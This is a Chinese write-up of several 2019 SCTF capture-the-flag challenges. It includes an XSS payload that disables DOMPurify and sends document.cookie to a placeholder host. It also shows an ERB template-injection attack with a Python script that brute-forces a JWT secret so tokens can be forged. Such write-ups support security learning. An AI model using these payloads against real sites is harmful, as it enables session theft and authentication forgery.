内容简介:刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题启用了Dompurify,且配置文件分析了页面里的js代码
刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题
math-is-fun1
题目给了个在线编辑器
http://47.110.128.101/challenge?name=Challenger
可以提交一个url到服务器,结合hint确定是要xss了
http://47.110.128.101/send_message.html启用了Dompurify,且配置文件 http://47.110.128.101/config 如下
({"SAFE_FOR_JQUERY":true,"ALLOWED_TAGS":["style","img","video"],"ALLOWE D_ATTR":["style","src","href"],"FORBID_TAGS":["base","svg","link","iframe","frame","embed"]})
分析了页面里的js代码
渲染流程如下:
- 服务器将name参数拼接到一个config类型的script标签中
- 读取上面那个标签的内容并解析然后给window[]赋值 (这里可以变量覆盖)
- 将config[name]拼接到textarea中
- 读取location.search中的text,URLdecode后覆盖textarea
- 监听textarea变化后会执行如下事件
- 读取textarea的内容
- Dompurify过滤 (上面发的先知链接已经被修复)
- markdown渲染 (不知道用的啥库)
- latex渲染 (用的mathjax2.7.5不存在已知xss)
- 插入页面
猜测是要覆盖DOMPurify的某些变量,能够使其失效,翻看Dompurify的源码
https://github.com/cure53/DOMPurify/blob/c57dd450d8613fddfda67ad182526f371b4638fd/src/purify.js :966
当 DOMPurify.isSupported
为 false
,则能够绕过过滤
于是构造
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>alert(1)
把 DOMPurify.isSupported
设置为false,text参数的值就能直接插入页面中,造成xss
(这里不知道为啥 text=<script>alert(1)
直接就绕过csp弹窗了,可能是非预期
最后payload:
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)
两题都可以用这个paylaod打
math-is-fun2
题解同上,
payload:
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)
flag shop
robots.txt提示/filebak,访问后拿到源码:
require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder, File.dirname(__FILE__) + '/static' FLAGPRICE = 1000000000000000000000000000 #ENV["SECRET"] = SecureRandom.hex(xx) configure do enable :logging file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+") file.sync = true use Rack::CommonLogger, file end get "/" do redirect '/shop', 302 end get "/filebak" do content_type :text erb IO.binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20} auth = JWT.encode payload,ENV["SECRET"] , 'HS256' cookies[:auth] = auth end get "/api/info" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]}) end get "/shop" do erb :shop end get "/work" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]}is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("<script>alert('#{params[:name][0,7]}working successfully!')</script>").result end end post "/shop" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } if auth[0]["jkl"] < FLAGPRICE then json({title: "error",message: "no enough jkl"}) else auth << {flag: ENV["FLAG"]} auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth json({title: "success",message: "jkl is good thing"}) end end def islogin if cookies[:auth].nil? then redirect to('/shop') end end
发现
ERB::new("<script>alert('#{params[:name][0,7]}working successfully!')</script>").result
存在erb模版注入,构造name为 <%=$~%>
,do为 <%=$~%> is working
,结合
ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}"),
其中的 SECRET
参数可控,如果匹配到SECRET,则 $~
(ruby特性,表示最近一次正则匹配结果) 会在页面中返回,于是可以爆破secret,然后伪造JWT去买flag。
爆破脚本如下:
import requests import base64 url = "http://47.110.15.101" re = requests.session() re.get(url + "/api/auth") flag = "09810e652ce9fa4882fe4875c" while True: i = "" for i in "0123456789abcdef": #now = flag + i now = i + flag res = re.get(url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now) if len(res.text) > 48: print res.text print flag flag = now break print flag
拿到SECRET后就是伪造cookie去买flag了
Maaaaaaze
题目意思是找100*100的迷宫中任意两点最大路径
于是把html处理一下,然后任意取一个点作为起点,扔到dfs里跑最长路径,等跑不动的时候拿当前最长路径的重点作为起点再扔进dfs去跑,最后就得到答案 4056
了
脚本如下(好久没写算法了还真有点手生):
import sys sys.setrecursionlimit(100000) file = open("sctfmaze.txt") maze = [[0 for j in range(0, 100)] for i in range(0, 100)] vis = [[0 for j in range(0, 100)] for i in range(0, 100)] class Node: t = 0 r = 0 b = 0 l = 0 #print maze for line in file: a = line[:-1].split(" ") #print a n = Node() for i in range(2,len(a)): #print a[i], if a[i] == '0' : n.t = 1 if a[i] == '1' : n.r = 1 if a[i] == '2' : n.b = 1 if a[i] == '3' : n.l = 1 #print a[i], #print maze[int(a[0])][int(a[1])] = n #print a[0],a[1],maze[int(a[0])][int(a[1])].b #exit() def check(i,j): if i>=100 or i<0 or j>=100 or j<0: return False if vis[i][j] == 1: return False return True def printmap(): global vis for i in range(0,100): for j in range(0,100): if vis[i][j] == 1: print "%2d%2d" % (i,j) print " " maxx = 0 print maxx,i,j def dfs(i,j,n): global maxx global vis global maze n += 1 #print maxx,i,j,n,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l if n>maxx: print n,i,j #print n,i,j,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l maxx = n if check(i-1,j) and maze[i][j].t == 0: vis[i-1][j] = 1 dfs(i-1,j,n) vis[i-1][j] = 0 if check(i,j+1) and maze[i][j].r == 0: vis[i][j+1] = 1 dfs(i,j+1,n) vis[i][j+1] = 0 if check(i+1,j) and maze[i][j].b == 0: vis[i+1][j] = 1 dfs(i+1,j,n) vis[i+1][j] = 0 if check(i,j-1) and maze[i][j].l == 0: vis[i][j-1] = 1 dfs(i,j-1,n) vis[i][j-1] = 0 vis[70][22] = 1 dfs(70,22,0) exit() for i in range(0,100): for j in range(0,100): #print i,j vis[i][j] = 1 dfs(i,j,0) vis[i][j] = 0
music
这是道逆向题,前面是队友做的,到我这给了我一个 java 的加密类和密文与密钥,要求解出明文
public class c { private static int m = 256; public String a(String paramString1, String paramString2) { int i = m; int[] arrayOfInt = new int[i]; byte[] arrayOfByte = new byte[i]; for (i = 0; i < m; i++) { arrayOfInt[i] = i; arrayOfByte[i] = ((byte)(byte)paramString2.charAt(i % paramString2.length())); } i = 0; int j = 0; for (;;) { k = m; if (i >= k - 1) { break; } j = (arrayOfInt[i] + j + arrayOfByte[i]) % k; k = arrayOfInt[i]; arrayOfInt[i] = arrayOfInt[j]; arrayOfInt[j] = k; i++; } paramString2 = paramString1.toCharArray(); paramString1 = new char[paramString1.length()]; int k = 0; j = 0; for (i = 0; i < paramString2.length; i++) { int n = m; k = (k + 1) % n; j = (arrayOfInt[k] + j) % n; int i1 = arrayOfInt[k]; arrayOfInt[k] = arrayOfInt[j]; arrayOfInt[j] = i1; int i2 = arrayOfInt[k]; i1 = arrayOfInt[k]; paramString1[i] = ((char)(char)(paramString2[i] - k ^ (char)arrayOfInt[((i2 + i1 % n) % n)])); } new p(); return p.a(new String(paramString1).getBytes()); } }
分析加密类之后可以知道每个字符进去后输出的密文都是一个固定的字符串
于是直接爆破每一位
import java.lang.String; public class Main{ public static void main(String[] args){ c a = new c(); String flag = "sctf{"; String printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>?@[]^_{|}~"; String ss = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53"; for(int j=0;j<100;j++) { for(int i=0;i<printable.length();i++) { String now= flag + printable.charAt(i); //System.out.println(now); String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBE5"); if(ss.indexOf(d) == 0) { System.out.println("flag: " + now); flag = now; } } //break; } } }
以上所述就是小编给大家介绍的《2019 SCTF 部分 WriteUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 你负责人工智能哪部分?人工那部分;知识图谱的构建主要靠人工还是机器?
- cocosdx接bugly,上传符号表,有一部分内容解析出来了, 另一部分没有解析出来
- GO的部分总结~
- MySQL基础部分总结
- python字典实例(部分)
- DDCTF2018 部分writeup
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
卓有成效的程序员
Neal Ford / 熊节 / 机械工业出版社 / 2009-3 / 45.00元
《卓有成效的程序员》就是讲述如何在开发软件的过程中变得更加高效。同时,《卓有成效的程序员》的讲述将会跨语言和操作系统:很多技巧的讲述都会伴随多种程序语言的例子,并且会跨越三种主要的操作系统,Windows(多个版本),Mac OS X以及 *-nix (Unix或者Linux)。 《卓有成效的程序员》讨论的是程序员个体的生产力,而不是团队的生产力问题,所以它不会涉及方法论(好吧,可能总会在......一起来看看 《卓有成效的程序员》 这本书的介绍吧!